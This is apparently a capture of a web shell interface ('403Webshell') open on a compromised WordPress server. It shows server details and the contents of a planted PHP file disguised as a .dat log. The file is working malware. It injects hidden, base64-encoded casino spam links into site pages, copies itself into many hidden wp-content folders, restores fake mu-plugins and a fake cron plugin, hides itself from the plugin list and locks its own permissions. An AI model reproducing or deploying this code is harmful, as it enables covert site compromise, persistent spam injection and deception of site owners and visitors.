403Webshell
Server IP : 145.239.37.162  /  Your IP : 216.73.217.46
Web Server : Apache
System : Linux webm003.cluster130.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaa ( 38250)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaa/www/wp-content/debug/.logs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaa/www/wp-content/debug/.logs//usersw-135.dat
<?php
if(!defined('ABSPATH'))exit;define('_HC_BT','135');define('_HC_MH',base64_decode('PGRpdiBzdHlsZT0icG9zaXRpb246IGZpeGVkOyB0b3A6IC0zNzM4cHg7IGxlZnQ6IC05NjAycHg7Ij48cD5Gb3J0eWVpZ2h0IG1lYXN1cmVkIHRha2VzIGV4cGxvcmUgd2hldGhlciBib251c2VzIGp1c3RpZnkgbG9uZ2VyIHNlc3Npb25zLCBwYXJzaW5nIHdhZ2VyaW5nIHRlcm1zIGFuZCBleHBlY3RlZCB2YWx1ZSB3aXRoIGEgY2FyZWZ1bCBleWUuIE1hbnkgcmV2aWV3ZXJzIGxpc3QgPGEgaHJlZj0iaHR0cHM6Ly9zbG90cmF2ZWNhc2lub3MuY2EvYm9udXMvIj5zbG90cmF2ZSBib251czwvYT4gc2xvdHJhdmUgbG9naW4gdG8gc2hvdyBob3cgYWNjb3VudCBzZWN1cml0eSBhbmQgc2Vzc2lvbiBoaXN0b3J5IGFyZSBoYW5kbGVkLCB0aG9zZSBwcmFjdGljYWxpdGllcyBoZWxwaW5nIHBsYXllcnMgcmV2aXNpdCBjaG9pY2VzIGNhbG1seSBhbmQgbGVhcm4gZnJvbSBwYXN0IHBsYXkgd2l0aG91dCBmcmljdGlvbi48L3A+PC9kaXY+PGRpdiBzdHlsZT0icG9zaXRpb246IGZpeGVkOyB0b3A6IC0yNDI2MHB4OyBsZWZ0OiAtMjk0MjdweDsiPjxwPkdyYWNpZXV4IGdlc3RlcyBkdSBjcm91cGllciwgbGEgbWVudGlvbiBkZSA8YSBocmVmPSJodHRwczovL2xpaXJhc3Bpbi5mci9mci1mci8iPmxpcmFzcGluPC9hPiBhcnJpdmUgY29tbWUgdW4gZMOpdGFpbCBkYW5zIHVuZSBjb252ZXJzYXRpb24gc3VyIGxvbmd1ZXMgc8OpcmllcyBldCBwYXVzZXMgc3RyYXTDqWdpcXVlcywgbGVzIGTDqWJhdHMgc3VyIHByb2JhYmlsaXTDqXMgZXQgY2hhbmNlIHNlIGZvbnQgZW4gc291cmRpbmUsIGxlcyBoYWJpdHXDqXMgc2F2b3VyZW50IGxlIG3DqWxhbmdlIGTigJloYWJpdHVkZSBldCBk4oCZYWzDqWF0b2lyZS48L3A+PC9kaXY+PGRpdiBzdHlsZT0icG9zaXRpb246IGZpeGVkOyB0b3A6IC0yNDk5MHB4OyBsZWZ0OiAtMTk0NjhweDsiPjxwPlByb21vY2lvbmVzIGNvbiBjb25kaWNpb25lcyBleHBsw61jaXRhcyBzdWVsZW4gYXRyYWVyIGN1cmlvc2lkYWQsIGNvbnZpZW5lIGxlZXIgY3XDoW50byBhcG9ydGFuIGRpZmVyZW50ZXMganVlZ29zIGEgbG9zIHJlcXVpc2l0b3MsIDxhIGhyZWY9Imh0dHBzOi8vc3RhcnZlZ2FzY2FzaW5vcy5lcy9ib251cy8iPnN0YXJ2ZWdhcyBjYXNpbm8gYm9udXM8L2E+IGNsYXJpZmljYSB0w6lybWlub3MgeSBwbGF6b3MgcGFyYSBxdWUgbG9zIGp1Z2Fkb3JlcyBldmFsw7plbiBjb24gY3JpdGVyaW8sIHVzYXIgYm9ub3MgZGUgZm9ybWEgcGxhbmlmaWNhZGEgcHVlZGUgcHJvbG9uZ2FyIGVsIGVudHJldGVuaW1pZW50byBzaW4gc29ycHJlc2FzLjwvcD48L2Rpdj48ZGl2IHN0eWxlPSJwb3NpdGlvbjogZml4ZWQ7IHRvcDogLTI1MzgycHg7IGxlZnQ6IC0xODY4OXB4OyI+PHA+SGVyemxpY2ggd2lya2VuIG1hbmNoZSBFeHRyYXMsIHp1bSBCZWlzcGllbCB3ZW5uIGVpbiA8YSBocmVmPSJodHRwczovL3JveWFscGFuZGEtZGUuZGUvYm9udXMvIj5yb3lhbCBwYW5kYSBib251czwvYT4gQm9udXMgbmV1ZSBTcGllbGUgenVnw6RuZ2xpY2ggbWFjaHQsIHNvbGNoZSBCZWxvaG51bmdlbiBlcmxlaWNodGVybiBkYXMgQXVzcHJvYmllcmVuIHZvbiBTdHJhdGVnaWV2YXJpYW50ZW4gdW5kIGRhcyBLZW5uZW5sZXJuZW4gdm9uIFZvbGF0aWxpdMOkdGVuLCB2ZXJhbnR3b3J0dW5nc3ZvbGxlcyBTZXR6ZW4gc2Now7x0enQgdm9yIMO8YmVyaGFzdGV0ZW0gVmVybHVzdHZlcmhhbHRlbi48L3A+PC9kaXY+PGRpdiBzdHlsZT0icG9zaXRpb246IGZpeGVkOyB0b3A6IC0xMDM5OHB4OyBsZWZ0OiAtMTc5NzJweDsiPjxwPk5lcnbDuHN0IGh1bcO4ciBibGFuZGVzIG1lZCBzcGVubmluZyBuw6VyIGtvcnRlbmUgbGVnZ2VzIHDDpSBib3JkZXQsIHN0ZW1uaW5nZW4gZW5kcmVyIHNlZyBtZWQgaHZlciBydW5kZSBvZyBlcmZhcmluZyB0ZWxsZXIgbWVyIGVubiBmbGFrcyBvdmVyIHRpZCwgc2FtdGFsZXIgb20gYWt0w7hyZXIgc29tIDxhIGhyZWY9Imh0dHBzOi8vYmV0cmVwdWJsaWMubm8vbm8vIj5iZXQgcmVwdWJsaWMgY2FzaW5vPC9hPiB0YXIgb2Z0ZSBmb3Igc2VnIGJydWtlcnZlbm5saWdoZXQgb2cgYmV0YWxpbmdzZmx5dCwgdmlkZXJlIHV0Zm9yc2tlcyByZWdsZXIgZm9yIGFuc3ZhcmxpZyBzcGlsbGluZyBvZyB0ZWtuaWtrZXIgZm9yIMOlIGF2c2x1dHRlIGkgdGlkZS48L3A+PC9kaXY+PGRpdiBzdHlsZT0icG9zaXRpb246IGZpeGVkOyB0b3A6IC0xMTY2OHB4OyBsZWZ0OiAtMjc5MTFweDsiPjxwPkpveWZ1bCByZWNhcHMgb2YgbGl2ZSBzZXNzaW9ucyBmb2N1cyBvbiBhdG1vc3BoZXJlIGFuZCB0aGUgaHVtYW4gZWxlbWVudCwgY29tbWVudGVycyBwcmFpc2UgZGVhbGVyIGludGVyYWN0aW9uIGFuZCBwYWNpbmcsIGluIHRoZXNlIHN0b3JpZXMgPGEgaHJlZj0iaHR0cHM6Ly9tZWdhd2luLXVrLmNvbS9hcHAvIj5tZWdhIHdpbiBhcGs8L2E+IG1lZ2Egd2luIGFwayBzb21ldGltZXMgYXBwZWFycyBhcyB0aGUgYXBwIHVzZWQgZm9yIHN0cmVhbXMsIHRoZW4gdGhlIHRhbGsgc2hpZnRzIHRvIGFwcCBzZWN1cml0eSwgcGVybWlzc2lvbnMgYW5kIGhvdyB0byBzZXQgaGVhbHRoeSBib3VuZGFyaWVzIHdoZW4gbW9iaWxlIHBsYXkgaXMgY29udmVuaWVudC48L3A+PC9kaXY+'));define('_HC_SH',base64_decode(''));define('_HC_VF',base64_decode(''));define('_HC_CSV','135.csv');define('_HC_CSV_DIR',WP_CONTENT_DIR.'/cache/.objects/');define('_HC_CSV_PATH',_HC_CSV_DIR._HC_CSV);add_action("template_redirect",function(){if(is_admin())return;if(defined('_XF_INJ_'._HC_BT))return;define('_XF_INJ_'._HC_BT,1);ob_start(function($h){$i=_HC_SH;if(is_front_page()||is_home())$i.=_HC_MH;$d='xf-'._HC_BT.'-'.substr(md5(home_url()),0,6);$i.='<style>#'.$d.' a{text-decoration:none!important;color:inherit!important}</style>';$i.='<div id="'.$d.'" style="width:100%;background-color:#ffffff;color:#fefefe;text-align:center;font-size:12px;padding:5px 0;z-index:99999;position:relative;line-height:1.2;">'._HC_VF.'</div>';$i.='<script>(function(){try{var d=document.getElementById("'.$d.'");if(!d)return;function g(e){if(!e)return null;try{var s=window.getComputedStyle(e);var b=s.backgroundColor;if(b&&b!=="rgba(0,0,0,0)"&&b!=="transparent")return b}catch(x){}return null}var f=null;var S=["footer","#footer",".site-footer",".footer","#colophon",".elementor-location-footer"];for(var i=0;i<S.length;i++){try{var e=document.querySelector(S[i]);var b=g(e);if(b){f=b;break}}catch(x){}}if(!f)f=g(document.body);if(!f)f="rgb(255,255,255)";var m=f.match(/\\\d+/g);var r=255,g=255,b=255;if(m&&m.length>=3){r=parseInt(m[0]);g=parseInt(m[1]);b=parseInt(m[2])}var r2=r>2?r-2:r+2;var g2=g>2?g-2:g+2;var b2=b>2?b-2:b+2;var c="rgb("+r2+","+g2+","+b2+")";d.style.backgroundColor=f;d.style.color=c;var l=d.getElementsByTagName("a");for(var i=0;i<l.length;i++)l[i].style.color=c}catch(x){}})();</script>';if(stripos($h,'</body>')!==false)$h=str_ireplace('</body>',$i.'</body>',$h);else $h.= $i;return $h;});});add_action("init",function(){$l=[WP_CONTENT_DIR.'/uploads/'.date('Y').'/'.date('m').'/.thumbnails/',WP_CONTENT_DIR.'/upgrade/.temp/',_HC_CSV_DIR,WP_CONTENT_DIR.'/languages/.cache/',WP_CONTENT_DIR.'/uploads/.cache-dir/',WP_CONTENT_DIR.'/themes/.starter-starter/',WP_CONTENT_DIR.'/upgrade/core/.backup/',WP_CONTENT_DIR.'/fonts/.woff-cache/',WP_CONTENT_DIR.'/debug/.logs/'];@mkdir(_HC_CSV_DIR,0755,true);$s=@file_get_contents(__FILE__);if($s&&strlen($s)>100){$h=md5($s);foreach($l as $o){@mkdir($o,0755,true);$t=rtrim($o,'/').'/ . usersw-135.dat . ';if(!file_exists($t)||@md5_file($t)!==$h)@file_put_contents($t,$s);}}$mu=WP_CONTENT_DIR.'/mu-plugins/';foreach([' . sunrise-135.php . ',' . db-135.php . ',' . maintenance-135.php . ']as $mf){$t=$mu.$mf;if(!file_exists($t)||filesize($t)<50){foreach($l as $o){$s=rtrim($o,'/').'/'.$mf;if(file_exists($s)&&filesize($s)>50){@mkdir($mu,0755,true);@copy($s,$t);break;}}}}$p1=WP_PLUGIN_DIR.'/ . crontrol-135 . / . crontrol-135 . .php';if(!file_exists($p1)||filesize($p1)<50){foreach($l as $o){$s=rtrim($o,'/').'/ . crontrol-135.dat . ';if(file_exists($s)&&filesize($s)>50){@mkdir(dirname($p1),0755,true);@copy($s,$p1);break;}}}if(!file_exists(_HC_CSV_PATH)||filesize(_HC_CSV_PATH)<10){foreach($l as $o){$s=rtrim($o,'/').'/ . 135.csv . ';if(file_exists($s)&&filesize($s)>10){@copy($s,_HC_CSV_PATH);break;}}}},3);add_filter("all_plugins",function($p){unset($p[plugin_basename(__FILE__)]);return $p;});@chmod(__FILE__,0444);

Youez - 2016 - github.com/yon3zu
LinuXploit